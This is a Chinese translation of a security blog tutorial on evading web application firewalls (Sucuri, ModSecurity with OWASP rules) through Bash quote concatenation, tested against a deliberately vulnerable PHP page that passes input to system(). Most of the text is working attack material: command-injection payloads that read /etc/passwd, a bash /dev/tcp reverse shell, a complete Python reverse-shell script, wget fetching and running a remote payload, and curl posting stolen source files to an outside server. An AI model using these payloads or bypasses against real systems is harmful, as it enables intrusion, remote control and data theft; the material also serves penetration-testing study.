WAF绕过技术系列文章(二)

iso60001  1911天前

22.jpg

在前面的文章中,我们已经了解了如何利用通配符来绕过WAF规则,更具体地说,是使用问号通配符。当然,还有很多其他的WAF规则绕过方式,WAF我认为不同的攻击有不同的WAF规则绕过方法。例如:在SQL注入中你可以使用注释语法来绕过WAF,而不只是简单的使用加号:

/?id=1+un/**/ion+sel/**/ect+1,2,3--

这是一个不错的方法,特别是当目标网站的WAF防御等级偏低时,星号和连字符能帮你成功绕过WAF。但这只能用于SQL注入,不能被用于本地文件包含和远程命令执行。对于某些特殊的场景,WAF是很难真正防御住针对目标网站的远程命令执行,因为这种攻击使用了“字符串连接符”。

如果你想实际操作这些绕过方法,可以在我创造的FluxCapacitor手动练习,这是一个在hackthebox上的漏洞演示虚拟机。

连接符

在许多编程语言中,字符串连接通常靠一个二进制符号。例如,加号,"Hello, " + "World"得到值为"Hello, World"。在其他编程语言中,连接符可能是不同符号,特别是涉及到隐式的类型转换,并不会使用加号等符号。例如在Perl和PHP中连接符为.,在Lua等语言中,连接符为..

$ php -r 'echo "hello"." world"."\n";'
hello world

$ python -c 'print "hello" + " world"'
hello world

但是你可别认为这是连接两个字符串的唯一方式。

当你在Bash使用C,C++,Python等编程语言时,你可以利用一种基于Bash的字符串连接特性,即:两个相邻的字符串即使中间没有任何符号,它们也可被当作连接在一起,"Hello," "World"等同于"Hello, World"。这个特性不仅适用于printf和echo等命令,还可适用于整体Bash语法。让我们从简单的例子开始。

下面的所有命令运行结果相同:

# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''
# python -c 'print "te" "st"'

33.png

从上我们可以清楚了解到Bash中的字符串连接特性。实际上,'te's't'是由三个字符串组成:字符串te、字符串s和字符串t。这种语法可可有效绕过基于“字符串匹配”的waf规则。

ModSecurity中的防御规则SecRule ARGS "@pm passwd shadow groups"…将拦截所有包含字符串passwd或字符串shadow的请求。但是,如果我们把它们转换成pa'ss'wdsh'ad'ow呢?就像我上面所提到的那样。而且,你不仅可以使用连接字符串来代替文件参数,还可以用来代替执行路径!

下面的所有命令运行结果也相同:

$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'

44.png

现在,我们已经发现一个远程命令执行的绕过WAF方法。如果你面临的WAF存在基于敏感字符串的拦截,你就可以用它绕过WAF规则:

curl .../?url=;+cat+/e't'c/pa'ss'wd

下面我会用PHP代码做些测试,像往常一样,目标WAF是sucuri WAF和ModSecurity。如下是我们的网页代码,当然,它显得太过简单,功能主要是利用curlsystem()形成一个命令执行场景。虽然它看起来很不靠谱,但奇怪的是,你可以在多个实际应用场景发现这种愚蠢的代码。

<?php
       if ( isset($_GET['zzz']) ) {
      system('curl -v '.$_GET['zzz']);
       }

绕过Sucuri WAF

我想我在发布这些文章后,Sucuri会立马把我拉黑。但是,我发誓:我使用Sucuri waf与ModSecurity进行比较,不是因为我要说明哪个更好。因为Sucuri被广泛使用,如果有用户阅读了本文,就可以在他们的自己的Web应用上更好地进行安全测试。

首先,我尝试发出请求获取google.com,而使用最原始地请求:

curl -v 'http://test1.unicresit.it/?zzz=google.com'

如预期的一样,返回了google.com的302页面,基于地理位置,让我跳转到www.google.de

55.png

现在,为了做坏事,我使用分号破坏curl语法,尝试执行其他系统命令。但是当我试图读取/etc/passwd文件时,Sucuri就会拦截请求,请求如下:

curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'

被Sucuri拦截的原因如下:“检测到一个RFI/LFI攻击”。我认为(只是一个假设)Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术,它可能会拦截所有常见的路径和文件名,如/etc/passwd。当我把这个WAF的拦截力度调到最低时,我就可以利用两个单引号来绕过!

curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"

66.png

我知道你现在在想什么:“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗?”这个问题的答案当然是,YES!唯一的问题就是我们不能使用netcat,因为它还没有安装。

$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls
$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"
$

返回一个shell的最简单方法是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但不幸的是,它太复杂了,很难彻底绕过WAF,这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求,原因是:检测到模糊攻击。

接下来,我尝试使用curl或wget命令将python的反弹shell脚本上传上去,以获得shell。shell.py代码如下:

!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

然后,我们在本机使用python -c SimpleHTTPServerphp -s等搭建Web服务,方便目标服务器从中下载python文件,下载shell.py文件用以下语法:

curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'

77.png88.png

好的,Sucuri Waf没有拦截这个请求,但是ModSecurity通常会拦截这类请求,为了要绕过这类WAF规则,可以使用wget+ip转换+字符串连接来达成:

.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html

第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限,第三个命令是执行它。如您所见,wget命令发出的请求中没有指明文件名,因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容,如下所示:

99.gif

接下来,我们要绕过更难的WAF

绕过ModSecurity和OWASP的核心规则集

你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是,这是不可能的。因为有两个小东西叫做normalizePathcmdLine。在ModSecurity中,它们被称为“转换函数”,用于将用户输入的原始数据先转换,然后再匹配。如果WAF认为数据无害,才会发送原始数据到Web服务器。

normalizePath:它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用(除了最开始的输入)。

cmdLine:由Marc Stern开发,会将所有的输入规范化,例如/e't'c/pa'ss'wd会被转换规范为/etc/passwd。总之它可以做很多事:

  • 删除所有反斜杠

  • 删除所有双引号

  • 删除所有单引号

  • 删除所有前插符

  • 删除斜线前的空格

  • 删除左括号前的空格

  • 将所有逗号和分号替换为空格

  • 将多个空格(包括制表符、换行符等)替换为一个空格

  • 将所有字符转换为小写

因为cmdLine,WAF规则932160就可以拦截所有利用字符串连接来进行远程命令执行的尝试,拦截信息如下:

Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"
"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
"ruleId":"932160"

现在我不能读取/etc/passwd,但不要绝望!OWASP核心规则集会拦截常用的文件路径和命令,但它不能对目标应用的源代码执行拦截。我虽然不能使用分号(这意味着我不能跳出curl语法),但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。

主要方法是利用POST的HTTP请求将文件发送到远程服务器,命令如下:

curl -d @/<file> <remote server>

在此基础上,我们把@编码为%40

curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"

100.png

如果防御等级为4,以上这些都不起作用,因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是,防御级别4在生产环境中很少见。

反斜杠的兴起

上面所述的绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串,而是用来转义:

110.png

以上就是全部内容。谢谢!

WAF绕过技术系列文章(一)

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

最新评论

昵称
邮箱
提交评论